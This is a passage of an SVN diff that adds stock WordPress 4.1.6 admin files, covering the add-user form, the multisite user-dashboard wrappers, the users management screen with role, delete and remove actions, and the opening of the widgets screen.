+ * @param bool $show Whether to show the password fields. Default true.
+ */
+if ( apply_filters( 'show_password_fields', true ) ) : ?>
+	<tr class="form-field form-required">
+		<th scope="row"><label for="pass1"><?php _e('Password'); ?> <span class="description"><?php /* translators: password input field */_e('(required)'); ?></span></label></th>
+		<td>
+			<input class="hidden" value=" " /><!-- #24364 workaround -->
+			<input name="pass1" type="password" id="pass1" autocomplete="off" />
+		</td>
+	</tr>
+	<tr class="form-field form-required">
+		<th scope="row"><label for="pass2"><?php _e('Repeat Password'); ?> <span class="description"><?php /* translators: password input field */_e('(required)'); ?></span></label></th>
+		<td>
+		<input name="pass2" type="password" id="pass2" autocomplete="off" />
+		<br />
+		<div id="pass-strength-result"><?php _e('Strength indicator'); ?></div>
+		<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
+		</td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="send_password"><?php _e('Send Password?') ?></label></th>
+		<td><label for="send_password"><input type="checkbox" name="send_password" id="send_password" value="1" <?php checked( $new_user_send_password ); ?> /> <?php _e('Send this password to the new user by email.'); ?></label></td>
+	</tr>
+<?php endif; ?>
+<?php } // !is_multisite ?>
+	<tr class="form-field">
+		<th scope="row"><label for="role"><?php _e('Role'); ?></label></th>
+		<td><select name="role" id="role">
+			<?php
+			if ( !$new_user_role )
+				$new_user_role = !empty($current_role) ? $current_role : get_option('default_role');
+			wp_dropdown_roles($new_user_role);
+			?>
+			</select>
+		</td>
+	</tr>
+	<?php if ( is_multisite() && is_super_admin() ) { ?>
+	<tr>
+		<th scope="row"><label for="noconfirmation"><?php _e('Skip Confirmation Email') ?></label></th>
+		<td><label for="noconfirmation"><input type="checkbox" name="noconfirmation" id="noconfirmation" value="1" <?php checked( $new_user_ignore_pass ); ?> /> <?php _e( 'Add the user without sending an email that requires their confirmation.' ); ?></label></td>
+	</tr>
+	<?php } ?>
+</table>
+
+<?php
+/** This action is documented in wp-admin/user-new.php */
+do_action( 'user_new_form', 'add-new-user' );
+?>
+
+<?php submit_button( __( 'Add New User '), 'primary', 'createuser', true, array( 'id' => 'createusersub' ) ); ?>
+
+</form>
+<?php } // current_user_can('create_users') ?>
+</div>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/user/about.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/about.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/about.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard About administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/about.php' );
Index: /tags/4.1.6/src/wp-admin/user/admin.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/admin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/admin.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * WordPress User Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+define('WP_USER_ADMIN', true);
+
+require_once( dirname(dirname(__FILE__)) . '/admin.php');
+
+if ( ! is_multisite() ) {
+	wp_redirect( admin_url() );
+	exit;
+}
+
+$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
+/**
+ * Filter whether to redirect the request to the User Admin in Multisite.
+ *
+ * @since 3.2.0
+ *
+ * @param bool $redirect_user_admin_request Whether the request should be redirected.
+ */
+$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
+if ( $redirect_user_admin_request ) {
+	wp_redirect( user_admin_url() );
+	exit;
+}
+unset( $redirect_user_admin_request );
Index: /tags/4.1.6/src/wp-admin/user/credits.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/credits.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/credits.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Credits administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/credits.php' );
Index: /tags/4.1.6/src/wp-admin/user/freedoms.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/freedoms.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/freedoms.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Freedoms administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/freedoms.php' );
Index: /tags/4.1.6/src/wp-admin/user/index.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/index.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/index.php' );
Index: /tags/4.1.6/src/wp-admin/user/menu.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/menu.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/menu.php	(revision 33402)
@@ -0,0 +1,22 @@
+<?php
+/**
+ * Build User Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+$menu[2] = array(__('Dashboard'), 'exist', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard');
+
+$menu[4] = array( '', 'exist', 'separator1', '', 'wp-menu-separator' );
+
+$menu[70] = array( __('Profile'), 'exist', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
+
+$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );
+
+$_wp_real_parent_file['users.php'] = 'profile.php';
+$compat = array();
+$submenu = array();
+
+require_once(ABSPATH . 'wp-admin/includes/menu.php');
Index: /tags/4.1.6/src/wp-admin/user/profile.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/profile.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/profile.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Profile Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/profile.php' );
Index: /tags/4.1.6/src/wp-admin/user/user-edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/user/user-edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/user/user-edit.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Edit user administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/user-edit.php' );
Index: /tags/4.1.6/src/wp-admin/users.php
===================================================================
--- /tags/4.1.6/src/wp-admin/users.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/users.php	(revision 33402)
@@ -0,0 +1,460 @@
+<?php
+/**
+ * Users administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'list_users' ) )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+$wp_list_table = _get_list_table('WP_Users_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+$title = __('Users');
+$parent_file = 'users.php';
+
+add_screen_option( 'per_page', array('label' => _x( 'Users', 'users per page (screen options)' )) );
+
+// contextual help - choose Help on the top right of admin panel to preview this.
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role.') . '</p>' .
+				 '<p>' . __('To add a new user for your site, click the Add New button at the top of the screen or Add New in the Users menu section.') . '</p>'
+) ) ;
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'screen-display',
+	'title'   => __('Screen Display'),
+	'content' => '<p>' . __('You can customize the display of this screen in a number of ways:') . '</p>' .
+					'<ul>' .
+					'<li>' . __('You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab.') . '</li>' .
+					'<li>' . __('You can filter the list of users by User Role using the text links in the upper left to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed.') . '</li>' .
+					'<li>' . __('You can view all posts made by a user by clicking on the number under the Posts column.') . '</li>' .
+					'</ul>'
+) );
+
+$help = '<p>' . __('Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:') . '</p>' .
+	'<ul>' .
+	'<li>' . __('Edit takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username.') . '</li>';
+
+if ( is_multisite() )
+	$help .= '<li>' . __( 'Remove allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using Bulk Actions.' ) . '</li>';
+else
+	$help .= '<li>' . __( 'Delete brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using Bulk Actions.' ) . '</li>';
+
+$help .= '</ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'actions',
+	'title'   => __('Actions'),
+	'content' => $help,
+) );
+unset( $help );
+
+get_current_screen()->set_help_sidebar(
+    '<p><strong>' . __('For more information:') . '</strong></p>' .
+    '<p>' . __('<a href="http://codex.wordpress.org/Users_Screen" target="_blank">Documentation on Managing Users</a>') . '</p>' .
+    '<p>' . __('<a href="http://codex.wordpress.org/Roles_and_Capabilities" target="_blank">Descriptions of Roles and Capabilities</a>') . '</p>' .
+    '<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+if ( empty($_REQUEST) ) {
+	$referer = '<input type="hidden" name="wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
+} elseif ( isset($_REQUEST['wp_http_referer']) ) {
+	$redirect = remove_query_arg(array('wp_http_referer', 'updated', 'delete_count'), wp_unslash( $_REQUEST['wp_http_referer'] ) );
+	$referer = '<input type="hidden" name="wp_http_referer" value="' . esc_attr($redirect) . '" />';
+} else {
+	$redirect = 'users.php';
+	$referer = '';
+}
+
+$update = '';
+
+/**
+ * @since 3.5.0
+ * @access private
+ */
+function delete_users_add_js() { ?>
+<script>
+jQuery(document).ready( function($) {
+	var submit = $('#submit').prop('disabled', true);
+	$('input[name=delete_option]').one('change', function() {
+		submit.prop('disabled', false);
+	});
+	$('#reassign_user').focus( function() {
+		$('#delete_option1').prop('checked', true).trigger('change');
+	});
+});
+</script>
+<?php
+}
+
+switch ( $wp_list_table->current_action() ) {
+
+/* Bulk Dropdown menu Role changes */
+case 'promote':
+	check_admin_referer('bulk-users');
+
+	if ( ! current_user_can( 'promote_users' ) )
+		wp_die( __( 'You can&#8217;t edit that user.' ) );
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	$editable_roles = get_editable_roles();
+	if ( empty( $editable_roles[$_REQUEST['new_role']] ) )
+		wp_die(__('You can&#8217;t give users that role.'));
+
+	$userids = $_REQUEST['users'];
+	$update = 'promote';
+	foreach ( $userids as $id ) {
+		$id = (int) $id;
+
+		if ( ! current_user_can('promote_user', $id) )
+			wp_die(__('You can&#8217;t edit that user.'));
+		// The new role of the current user must also have the promote_users cap or be a multisite super admin
+		if ( $id == $current_user->ID && ! $wp_roles->role_objects[ $_REQUEST['new_role'] ]->has_cap('promote_users')
+			&& ! ( is_multisite() && is_super_admin() ) ) {
+				$update = 'err_admin_role';
+				continue;
+		}
+
+		// If the user doesn't already belong to the blog, bail.
+		if ( is_multisite() && !is_user_member_of_blog( $id ) )
+			wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+		$user = get_userdata( $id );
+		$user->set_role($_REQUEST['new_role']);
+	}
+
+	wp_redirect(add_query_arg('update', $update, $redirect));
+	exit();
+
+case 'dodelete':
+	if ( is_multisite() )
+		wp_die( __('User deletion is not allowed from this screen.') );
+
+	check_admin_referer('delete-users');
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	$userids = array_map( 'intval', (array) $_REQUEST['users'] );
+
+	if ( empty( $_REQUEST['delete_option'] ) ) {
+		$url = self_admin_url( 'users.php?action=delete&users[]=' . implode( '&users[]=', $userids ) . '&error=true' );
+		$url = str_replace( '&amp;', '&', wp_nonce_url( $url, 'bulk-users' ) );
+		wp_redirect( $url );
+		exit;
+	}
+
+	if ( ! current_user_can( 'delete_users' ) )
+		wp_die(__('You can&#8217;t delete users.'));
+
+	$update = 'del';
+	$delete_count = 0;
+
+	foreach ( $userids as $id ) {
+		if ( ! current_user_can( 'delete_user', $id ) )
+			wp_die(__( 'You can&#8217;t delete that user.' ) );
+
+		if ( $id == $current_user->ID ) {
+			$update = 'err_admin_del';
+			continue;
+		}
+		switch ( $_REQUEST['delete_option'] ) {
+		case 'delete':
+			wp_delete_user( $id );
+			break;
+		case 'reassign':
+			wp_delete_user( $id, $_REQUEST['reassign_user'] );
+			break;
+		}
+		++$delete_count;
+	}
+
+	$redirect = add_query_arg( array('delete_count' => $delete_count, 'update' => $update), $redirect);
+	wp_redirect($redirect);
+	exit();
+
+case 'delete':
+	if ( is_multisite() )
+		wp_die( __('User deletion is not allowed from this screen.') );
+
+	check_admin_referer('bulk-users');
+
+	if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	if ( ! current_user_can( 'delete_users' ) )
+		$errors = new WP_Error( 'edit_users', __( 'You can&#8217;t delete users.' ) );
+
+	if ( empty($_REQUEST['users']) )
+		$userids = array( intval( $_REQUEST['user'] ) );
+	else
+		$userids = array_map( 'intval', (array) $_REQUEST['users'] );
+
+	add_action( 'admin_head', 'delete_users_add_js' );
+
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<form action="" method="post" name="updateusers" id="updateusers">
+<?php wp_nonce_field('delete-users') ?>
+<?php echo $referer; ?>
+
+<div class="wrap">
+<h2><?php _e('Delete Users'); ?></h2>
+<?php if ( isset( $_REQUEST['error'] ) ) : ?>
+<div class="error">
+	<p><strong><?php _e( 'ERROR:' ); ?></strong> <?php _e( 'Please select an option.' ); ?></p>
+</div>
+<?php endif; ?>
+<p><?php echo _n( 'You have specified this user for deletion:', 'You have specified these users for deletion:', count( $userids ) ); ?></p>
+<ul>
+<?php
+	$go_delete = 0;
+	foreach ( $userids as $id ) {
+		$user = get_userdata( $id );
+		if ( $id == $current_user->ID ) {
+			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>'), $id, $user->user_login) . "</li>\n";
+		} else {
+			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"" . esc_attr($id) . "\" />" . sprintf(__('ID #%1$s: %2$s'), $id, $user->user_login) . "</li>\n";
+			$go_delete++;
+		}
+	}
+	?>
+	</ul>
+<?php if ( $go_delete ) : ?>
+	<fieldset><p><legend><?php echo _n( 'What should be done with content owned by this user?', 'What should be done with content owned by these users?', $go_delete ); ?></legend></p>
+	<ul style="list-style:none;">
+		<li><label><input type="radio" id="delete_option0" name="delete_option" value="delete" />
+		<?php _e('Delete all content.'); ?></label></li>
+		<li><input type="radio" id="delete_option1" name="delete_option" value="reassign" />
+		<?php echo '<label for="delete_option1">' . __( 'Attribute all content to:' ) . '</label> ';
+		wp_dropdown_users( array( 'name' => 'reassign_user', 'exclude' => array_diff( $userids, array($current_user->ID) ) ) ); ?></li>
+	</ul></fieldset>
+	<?php
+	/**
+	 * Fires at the end of the delete users form prior to the confirm button.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param WP_User $current_user WP_User object for the user being deleted.
+	 */
+	do_action( 'delete_user_form', $current_user );
+	?>
+	<input type="hidden" name="action" value="dodelete" />
+	<?php submit_button( __('Confirm Deletion'), 'secondary' ); ?>
+<?php else : ?>
+	<p><?php _e('There are no valid users selected for deletion.'); ?></p>
+<?php endif; ?>
+</div>
+</form>
+<?php
+
+break;
+
+case 'doremove':
+	check_admin_referer('remove-users');
+
+	if ( ! is_multisite() )
+		wp_die( __( 'You can&#8217;t remove users.' ) );
+
+	if ( empty($_REQUEST['users']) ) {
+		wp_redirect($redirect);
+		exit;
+	}
+
+	if ( ! current_user_can( 'remove_users' ) )
+		wp_die( __( 'You can&#8217;t remove users.' ) );
+
+	$userids = $_REQUEST['users'];
+
+	$update = 'remove';
+ 	foreach ( $userids as $id ) {
+		$id = (int) $id;
+		if ( $id == $current_user->ID && !is_super_admin() ) {
+			$update = 'err_admin_remove';
+			continue;
+		}
+		if ( !current_user_can('remove_user', $id) ) {
+			$update = 'err_admin_remove';
+			continue;
+		}
+		remove_user_from_blog($id, $blog_id);
+	}
+
+	$redirect = add_query_arg( array('update' => $update), $redirect);
+	wp_redirect($redirect);
+	exit;
+
+case 'remove':
+
+	check_admin_referer('bulk-users');
+
+	if ( ! is_multisite() )
+		wp_die( __( 'You can&#8217;t remove users.' ) );
+
+	if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
+		wp_redirect($redirect);
+		exit();
+	}
+
+	if ( !current_user_can('remove_users') )
+		$error = new WP_Error('edit_users', __('You can&#8217;t remove users.'));
+
+	if ( empty($_REQUEST['users']) )
+		$userids = array(intval($_REQUEST['user']));
+	else
+		$userids = $_REQUEST['users'];
+
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<form action="" method="post" name="updateusers" id="updateusers">
+<?php wp_nonce_field('remove-users') ?>
+<?php echo $referer; ?>
+
+<div class="wrap">
+<h2><?php _e('Remove Users from Site'); ?></h2>
+<p><?php _e('You have specified these users for removal:'); ?></p>
+<ul>
+<?php
+	$go_remove = false;
+ 	foreach ( $userids as $id ) {
+		$id = (int) $id;
+ 		$user = get_userdata( $id );
+		if ( $id == $current_user->ID && !is_super_admin() ) {
+			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>The current user will not be removed.</strong>'), $id, $user->user_login) . "</li>\n";
+		} elseif ( !current_user_can('remove_user', $id) ) {
+			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>You don\'t have permission to remove this user.</strong>'), $id, $user->user_login) . "</li>\n";
+		} else {
+			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"{$id}\" />" . sprintf(__('ID #%1$s: %2$s'), $id, $user->user_login) . "</li>\n";
+			$go_remove = true;
+		}
+ 	}
+ 	?>
+</ul>
+<?php if ( $go_remove ) : ?>
+		<input type="hidden" name="action" value="doremove" />
+		<?php submit_button( __('Confirm Removal'), 'secondary' ); ?>
+<?php else : ?>
+	<p><?php _e('There are no valid users selected for removal.'); ?></p>
+<?php endif; ?>
+</div>
+</form>
+<?php
+
+break;
+
+default:
+
+	if ( !empty($_GET['_wp_http_referer']) ) {
+		wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce'), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+		exit;
+	}
+
+	$wp_list_table->prepare_items();
+	$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+	if ( $pagenum > $total_pages && $total_pages > 0 ) {
+		wp_redirect( add_query_arg( 'paged', $total_pages ) );
+		exit;
+	}
+
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$messages = array();
+	if ( isset($_GET['update']) ) :
+		switch($_GET['update']) {
+		case 'del':
+		case 'del_many':
+			$delete_count = isset($_GET['delete_count']) ? (int) $_GET['delete_count'] : 0;
+			$messages[] = '<div id="message" class="updated"><p>' . sprintf( _n( 'User deleted.', '%s users deleted.', $delete_count ), number_format_i18n( $delete_count ) ) . '</p></div>';
+			break;
+		case 'add':
+			if ( isset( $_GET['id'] ) && ( $user_id = $_GET['id'] ) && current_user_can( 'edit_user', $user_id ) ) {
+				$messages[] = '<div id="message" class="updated"><p>' . sprintf( __( 'New user created. <a href="%s">Edit user</a>' ),
+					esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
+						self_admin_url( 'user-edit.php?user_id=' . $user_id ) ) ) ) . '</p></div>';
+			} else {
+				$messages[] = '<div id="message" class="updated"><p>' . __( 'New user created.' ) . '</p></div>';
+			}
+			break;
+		case 'promote':
+			$messages[] = '<div id="message" class="updated"><p>' . __('Changed roles.') . '</p></div>';
+			break;
+		case 'err_admin_role':
+			$messages[] = '<div id="message" class="error"><p>' . __('The current user&#8217;s role must have user editing capabilities.') . '</p></div>';
+			$messages[] = '<div id="message" class="updated"><p>' . __('Other user roles have been changed.') . '</p></div>';
+			break;
+		case 'err_admin_del':
+			$messages[] = '<div id="message" class="error"><p>' . __('You can&#8217;t delete the current user.') . '</p></div>';
+			$messages[] = '<div id="message" class="updated"><p>' . __('Other users have been deleted.') . '</p></div>';
+			break;
+		case 'remove':
+			$messages[] = '<div id="message" class="updated fade"><p>' . __('User removed from this site.') . '</p></div>';
+			break;
+		case 'err_admin_remove':
+			$messages[] = '<div id="message" class="error"><p>' . __("You can't remove the current user.") . '</p></div>';
+			$messages[] = '<div id="message" class="updated fade"><p>' . __('Other users have been removed.') . '</p></div>';
+			break;
+		}
+	endif; ?>
+
+<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
+	<div class="error">
+		<ul>
+		<?php
+			foreach ( $errors->get_error_messages() as $err )
+				echo "<li>$err</li>\n";
+		?>
+		</ul>
+	</div>
+<?php endif;
+
+if ( ! empty($messages) ) {
+	foreach ( $messages as $msg )
+		echo $msg;
+} ?>
+
+<div class="wrap">
+<h2>
+<?php
+echo esc_html( $title );
+if ( current_user_can( 'create_users' ) ) { ?>
+	<a href="user-new.php" class="add-new-h2"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
+<?php } elseif ( is_multisite() && current_user_can( 'promote_users' ) ) { ?>
+	<a href="user-new.php" class="add-new-h2"><?php echo esc_html_x( 'Add Existing', 'user' ); ?></a>
+<?php }
+
+if ( $usersearch )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( $usersearch ) ); ?>
+</h2>
+
+<?php $wp_list_table->views(); ?>
+
+<form action="" method="get">
+
+<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
+
+<?php $wp_list_table->display(); ?>
+</form>
+
+<br class="clear" />
+</div>
+<?php
+break;
+
+} // end of the $doaction switch
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/widgets.php
===================================================================
--- /tags/4.1.6/src/wp-admin/widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/widgets.php	(revision 33402)
@@ -0,0 +1,453 @@
+<?php
+/**
+ * Widgets administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Administration Widgets API */
+require_once(ABSPATH . 'wp-admin/includes/widgets.php');
+
+if ( ! current_user_can('edit_theme_options') )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+$widgets_access = get_user_setting( 'widgets_access' );
+if ( isset($_GET['widgets-access']) ) {
+	$widgets_access = 'on' == $_GET['widgets-access'] ? 'on' : 'off';
+	set_user_setting( 'widgets_access', $widgets_access );
+}
+
+function wp_widgets_access_body_class($classes) {
+	return "$classes widgets_access ";
+}
+
+if ( 'on' == $widgets_access ) {
+	add_filter( 'admin_body_class', 'wp_widgets_access_body_class' );
+} else {
+	wp_enqueue_script('admin-widgets');
+
+	if ( wp_is_mobile() )
+		wp_enqueue_script( 'jquery-touch-punch' );
+}
+
+/**
+ * Fires early before the Widgets administration screen loads,
+ * after scripts are enqueued.
+ *
+ * @since 2.2.0
+ */
+do_action( 'sidebar_admin_setup' );
+
+$title = __( 'Widgets' );
+$parent_file = 'themes.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them.') . '</p>
+	<p>' . __('The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget.') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'removing-reusing',
+'title'		=> __('Removing and Reusing'),
+'content'	=>
+	'<p>' . __('If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas.') . '</p>
+	<p>' . __('Widgets may be used multiple times. You can give each widget a title, to display on your site, but it&#8217;s not required.') . '</p>
+	<p>' . __('Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop.') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'missing-widgets',
+'title'		=> __('Missing Widgets'),
+'content'	=>
+	'<p>' . __('Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area.') . '</p>' .
+		'<p>' . __('When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Appearance_Widgets_Screen" target="_blank">Documentation on Widgets</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+if ( ! current_theme_supports( 'widgets' ) ) {
+	wp_die( __( 'The theme you are currently using isn&#8217;t widget-aware, meaning that it has no sidebars that you are able to change. For information on making your theme widget-aware, please <a href="http://codex.wordpress.org/Widgetizing_Themes">follow these instructions</a>.' ) );
+}
+
+// These are the widgets grouped by sidebar
+$sidebars_widgets = wp_get_sidebars_widgets();
+
+if ( empty( $sidebars_widgets ) )
+	$sidebars_widgets = wp_get_widget_defaults();
+
+foreach ( $sidebars_widgets as $sidebar_id => $widgets ) {
+	if ( 'wp_inactive_widgets' == $sidebar_id )
+		continue;
+
+	if ( !isset( $wp_registered_sidebars[ $sidebar_id ] ) ) {
+		if ( ! empty( $widgets ) ) { // register the inactive_widgets area as sidebar
+			register_sidebar(array(
+				'name' => __( 'Inactive Sidebar (not used)' ),
+				'id' => $sidebar_id,
+				'class' => 'inactive-sidebar orphan-sidebar',
+				'description' => __( 'This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar.' ),
+				'before_widget' => '',
+				'after_widget' => '',
+				'before_title' => '',
+				'after_title' => '',
+			));
+		} else {
+			unset( $sidebars_widgets[ $sidebar_id ] );
+		}
+	}
+}
+
+// register the inactive_widgets area as sidebar
+register_sidebar(array(
+	'name' => __('Inactive Widgets'),
+	'id' => 'wp_inactive_widgets',
+	'class' => 'inactive-sidebar',
+	'description' => __( 'Drag widgets here to remove them from the sidebar but keep their settings.' ),
+	'before_widget' => '',
+	'after_widget' => '',
+	'before_title' => '',
+	'after_title' => '',
+));
+
+retrieve_widgets();
+
+// We're saving a widget without js
+if ( isset($_POST['savewidget']) || isset($_POST['removewidget']) ) {
+	$widget_id = $_POST['widget-id'];
+	check_admin_referer("save-delete-widget-$widget_id");
+
+	$number = isset($_POST['multi_number']) ? (int) $_POST['multi_number'] : '';
+	if ( $number ) {
+		foreach ( $_POST as $key => $val ) {
+			if ( is_array($val) && preg_match('/__i__|%i%/', key($val)) ) {
+				$_POST[$key] = array( $number => array_shift($val) );
+				break;
+			}
+		}
+	}
+
+	$sidebar_id = $_POST['sidebar'];
+	$position = isset($_POST[$sidebar_id . '_position']) ? (int) $_POST[$sidebar_id . '_position'] - 1 : 0;
+
+	$id_base = $_POST['id_base'];
+	$sidebar = isset($sidebars_widgets[$sidebar_id]) ? $sidebars_widgets[$sidebar_id] : array();
+
+	// Delete.
+	if ( isset($_POST['removewidget']) && $_POST['removewidget'] ) {
+
+		if ( !in_array($widget_id, $sidebar, true) ) {
+			wp_redirect( admin_url('widgets.php?error=0') );
+			exit;
+		}
+
+		$sidebar = array_diff( $sidebar, array($widget_id) );
+		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
+	}
+
+	$_POST['widget-id'] = $sidebar;
+
+	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+		if ( $name != $id_base || !is_callable($control['callback']) )
+			continue;
+
+		ob_start();
